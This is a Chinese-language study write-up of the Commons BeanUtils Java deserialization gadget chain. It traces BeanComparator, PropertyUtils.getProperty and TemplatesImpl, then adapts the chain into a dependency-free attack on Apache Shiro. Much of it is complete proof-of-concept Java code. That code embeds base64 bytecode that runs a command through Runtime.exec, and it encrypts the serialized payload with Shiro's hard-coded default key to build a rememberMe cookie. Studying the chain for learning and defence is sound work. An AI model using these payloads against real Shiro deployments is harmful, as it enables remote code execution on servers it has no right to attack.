Commons BeanUtils

前面我们认识了 java.util.PriorityQueue ,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。
那么,我们是否还能找到其他可以利用的 java.util.Comparator 对象呢?

了解Apache Commons Beanutils

在这之前还是先了解一下什么是Apache Commons Beanutils,它是是Apache Commons工具集下的另一个项目,能提供对普通Java类对象(JavaBean)的一些操作方法。

JavaBean

JavaBean是一种符合命名规范的class,具体要求如下:

  • 若干个属性都是private类型
  • 并且这些属性都有public类型的get和set方法
  • 并且命名要符合规范,符合骆驼式命名法,比如说属性名为abc,那么get方法为public Type getAbc(),set方法为public void setAbc(Type value)

那么这种class就被称为JavaBean,其实也就是规范写法的类,比如说举个例子:

public class a {
    private String name = "c1oud";
    private int age = 20;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge(){
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

这就是一个很简单的JavaBean

而在commons-beanutils中就提供了一种静态方法,可以让使用者直接调用到任意JavaBean对象中的getter方法,这个方法其实是危险的,它就是PropertyUtils.getProperty,用法也很简单,只有两个参数,前面是JavaBean对象,后面是想要获取的方法名,比如说:PropertyUtils.getProperty(people,"name"),看看完整的代码:

import org.apache.commons.beanutils.PropertyUtils;

public class CB {
    public static void main(String[] args) throws Exception{
        a c = new a();
        System.out.println(PropertyUtils.getProperty(c, "name"));
        System.out.println(PropertyUtils.getProperty(c,"age"));
    }
}

这样就成功调用到了c对象的getName()getAge()方法

并且PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性bb对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取,这样就可以很方便的调用任意对象的getter方法,适用于在不确定JavaBean是哪个类对象时使用

利用链的构造

之前在学习利用TemplatesImpl加载字节码的时候分析过利用链:

TemplatesImpl#newTransformer=>TemplatesImpl#getTransletInstance=>TemplatesImpl#defineTransletClasses=>TransletClassLoader#defineClass

cc3里面用的是TrAXFilter的构造方法来调用的newTransformer()方法,不过其实还有一个方法可以调用到newTransformer()方法,而且它也是public类型,它就是getOutputProperties()方法:

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

值得注意的是,之前说过getter方法的定义就是get后面跟属性名,明显这个是符合的,那就可以思考是否可以通过PropertyUtils.getProperty方法调用这个getter方法,最后加载字节码导致rce呢?

现在我们的目的就是找到一个方法里面调用了PropertyUtils.getProperty方法,恰好在org.apache.commons.beanutils.BeanComparator#compare里面有个这个方法:

public int compare( final T o1, final T o2 ) {
    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
        }
    try {
        final Object value1 = PropertyUtils.getProperty( o1, property );
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
        }
    catch ( final IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
        }
    catch ( final InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
            }
    catch ( final NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
        }
}

BeanComparator类是commons-beanutils用来比较两个JavaBean是否相等的类,它实现了java.util.Comparator接口,自然就会有compare方法;

这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值,总之取this.property属性的时候就可以调用到getter方法了。

构造利用链

因为getOutputProperties()方法是TemplatesImpl类里面的,所以先构造TemplatesImpl对象


        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        setFieldValue(templates, "_name", "c11");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

然后实例化BeanComparator,这里先不设置property,防止报错,后面再用反射来操作,直接调用构造函数的话,property默认就为空,现在要想办法调用BeanComparator类里面的compare方法

BeanComparator comparator = new BeanComparator();

想到优先队列PriorityQueue反序列化的时候可以一步步调用到compare方法,把这个comparator放进去,最后调用到comparator.compare()的时候就可以让他连起来了

Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);

这里还是先添加两个无害的对象1进去,防止出问题,因为我们还没有设置property,当 this.property为空时,相当于就是直接比较这两个对象,对这两个1进行排序,没有什么影响,在最后用反射将property的值设置为outputProperties,并将队列中的任意一个对象替换成恶意的TemplatesImpl对象;

setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,1});

跟进后发现queue这个属性本来就是数组,所以后面用Object数组装的替换的对象,用Object数组的原因也是因为Object数组是根对象,里面放什么类型的对象都可以,更方便。

所以替换成恶意的TemplatesImpl对象。最终写出完整poc:

完整poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB{
    public static void setFieldValue(Object object,String fieldName,Object Value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        setFieldValue(templates, "_name", "c11");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{templates,1});

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object object = (Object)objectInputStream.readObject();
    }
}

利用CB链来攻击shiro

回顾一下之前用TemplatesImplshiro时,用到了几个依赖:

- shiro-core、shiro-web.  是shiro本身的依赖
- javax.servlet-api、jsp-api.  是Servlet和JSP的依赖,仅在编译阶段使用,因为tomcat中自带这两个依赖
- slf4j-api、slf4j-simple.  是为了显示shiro中的报错信息
- commons-logging:   是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
- commons-collections:   是为了演示反序列化漏洞,增加了这个依赖

前4个依赖都和项目本身有关,少了他们这个demo会出错或功能缺失。但是第5个依赖,commonscollections主要是为了演示漏洞。那么,实际场景下,目标可能并没有安装commons-collections,这个时候shiro反序列化漏洞是否仍然可以利用呢?

这里我们将pom.xml中关于commons-collections的这部分删除,重新加载Maven

此时观察IDEA中的依赖库,发现与cc链相关的依赖确实被删除了,但是外部库里并没有导入CB依赖,不过却加载了CB依赖。

也就是说,Shiro是依赖于commons-beanutils的。那么,是否可以用到刚才分析的CB链来进行攻击呢?

构造poc

这里直接用上面的payload,加上shiro需要的加密代码

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;



public class CB{
    public static void setFieldValue(Object object,String fieldName,Object Value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        setFieldValue(templates, "_name", "c11");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new TemplatesImpl[]{templates,templates});

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService  =new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(bytes,key);
        System.out.println(byteSource.toString());
    }
}

然后我就直接打出来了

不知道是不是mac的原因,但是按照p神的文章和其他师傅的文章,这里应该报一个这样的错

在java中如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。

因此,Java在反序列化的时候提供了一个机制,序列化时会
根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方
的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
当然,开发者也可以手工给类赋予一个 serialVersionUID 值,此时就能手工控制兼容性了。
所以,出现错误的原因就是,本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的
commons-beanutils是1.8.3版本,出现了 serialVersionUID 对应不上的问题。

解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>

改了以后再打来看,我还是一打就出来了,这个先不研究,重点是学会原理

接着p神的看,这里按道理还会报一个这样的错

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于commons-collections。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。也就是说我们在用他的时候用到了它没有的类

那首先要找到,看哪里用了ComparableComparator这个类,看到这里

但我们实例化的时候是这样用的

BeanComparator beanComparator = new BeanComparator();

用的是无参构造,实际上是因为this(null)这个语句 正在做的是调用另一个带有一个参数的类中的另一个构造函数,并将null值作为该参数传递。这是构造函数的特殊语法,也就是还是进入到了有参构造嘛。

并且没有传comparator默认进入到第二个构造函数,也就会用到了ComparableComparator这个类,然后因为也是this()这个语句会进入到第三个构造函数,但我们不能用到他,也就是说我们需要找一个其他类来代替他。

无依赖的shiro反序列化利用链

这里我们需要找的类还要满足这些条件:

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

通过IDEA的功能,我们找到一个 CaseInsensitiveComparator :

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }

        /** Replaces the de-serialized object. */
        private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
    }

CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了ComparatorSerializable,且位于Java的核心代码中,兼容性强,符合所有条件

我们通过String.CASE_INSENSITIVE_ORDER,即可拿到上下文中的CaseInsensitiveComparator对象,用它来代替ComparableComparator

BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

生成payload的时候出错了

这个简单,应该是类型的问题,我们后面添加的是两个整形对象,不能转换成字符串类型,直接将add(1)、add(2)改为add("1")、add("2")

最终poc

import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;



public class CB{
    public static void setFieldValue(Object object,String fieldName,Object Value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQ" +
                "EAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW" +
                "50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcH" +
                "Rpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaG" +
                "UveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaX" +
                "plci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAxhbm90aGVyLmphdmEMAA" +
                "4ADwcAHAwAHQAeAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg" +
                "wAHwAgAQAHYW5vdGhlcgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VH" +
                "JhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2" +
                "xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZX" +
                "hlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAw" +
                "AAAAGxAAAAAQAKAAAABgABAAAACQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAsACwAAAA" +
                "QAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADQAEAA4ADQAPAAsAAAAEAAEAEA" +
                "ABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{codes});
        setFieldValue(templates, "_name", "c11");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

        PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
        priorityQueue.add("1");
        priorityQueue.add("2");

        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new TemplatesImpl[]{templates,templates});

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        AesCipherService aesCipherService  =new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = aesCipherService.encrypt(bytes,key);
        System.out.println(byteSource.toString());
    }
}